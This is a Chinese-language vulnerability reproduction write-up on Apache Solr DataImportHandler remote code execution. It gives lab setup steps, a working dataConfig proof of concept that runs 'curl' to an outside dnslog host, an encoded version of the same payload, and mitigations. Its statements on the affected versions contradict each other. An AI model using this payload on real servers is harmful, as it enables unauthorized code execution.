漏洞描述

  1. Apache SolrDataImportHandler是一个可选但常用的模块,用于从数据库和其他源中提取数据,DataImportHandler的配置可以包含脚本,存在安全风险。在Apache Solr < 8.2.0 的版本中, DataImportHandler模块的dataConfig参数为用户可控,攻击者可通过构造恶意的dataConfig脚本交由转换器(Transformers)进行解析,而Solr在解析的过程中并未对用户输入的脚本进行检查,导致攻击者可在Solr服务器上执行任意代码。

影响范围

  1. Apache Solr <= 8.2.0且开启了dataimport功能(目前无补丁)

漏洞复现

环境搭建

  1. wget http://ftp.jaist.ac.jP/pub/apache/lucene/solr/7.7.2/solr-7.7.2.zip
  2. unzip solr-7.7.2.zip
  3. cd solr-7.7.2
  4. sudo ./bin/solr -e dih -force

image.png
http://192.168.64.149:8983/solr/#/
image.png
开启了Dataimport才能利用,poc放在Configuration Debug-Mode处

http://192.168.64.149:8983/solr/admin/cores
image.png

POC:

  1. command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(row){var process= java.lang.Runtime.getRuntime();process.exec("curl solr.9qe5rc.ceye.io");return row;}]]></script><document><entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /></document></dataConfig>

编码payload:

  1. command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=%3CdataConfig%3E%3CdataSource%20type%3D%22URLDataSource%22/%3E%3Cscript%3E%3C%21%5BCDATA%5Bfunction%20poc%28row%29%7Bvar%20process%3D%20java.lang.Runtime.getRuntime%28%29%3Bprocess.exec%28%22curl%20solr.9qe5rc.ceye.io%22%29%3Breturn%20row%3B%7D%5D%5D%3E%3C/script%3E%3Cdocument%3E%3Centity%20name%3D%22stackoverflow%22%20url%3D%22https%3A//stackoverflow.com/feeds/tag/solr%22%20processor%3D%22XPathEntityProcessor%22%20forEach%3D%22/feed%22%20transformer%3D%22script%3Apoc%22%20/%3E%3C/document%3E%3C/dataConfig%3E

http://192.168.64.149:8983/solr/atom/dataimport
image.png
image.png
dnslog记录成功

处置建议

  1. 升级到Solr 8.2.0及以上版本。在Solr 8.2.0中,已经加入了"enable.dih.dataConfigParam"这个Java系统属性(默认值为false),用于防护此漏洞。

缓解措施:
1、若确定不需要使用dataimport功能,可修改solrconfig.xml配置文件,删除class为DataImportHandler的requestHandler节点。
2、确保网络设置只允许可信流量与Solr服务交互,尤其是与DIH请求处理器的通信。
3、暂时关闭dataimport功能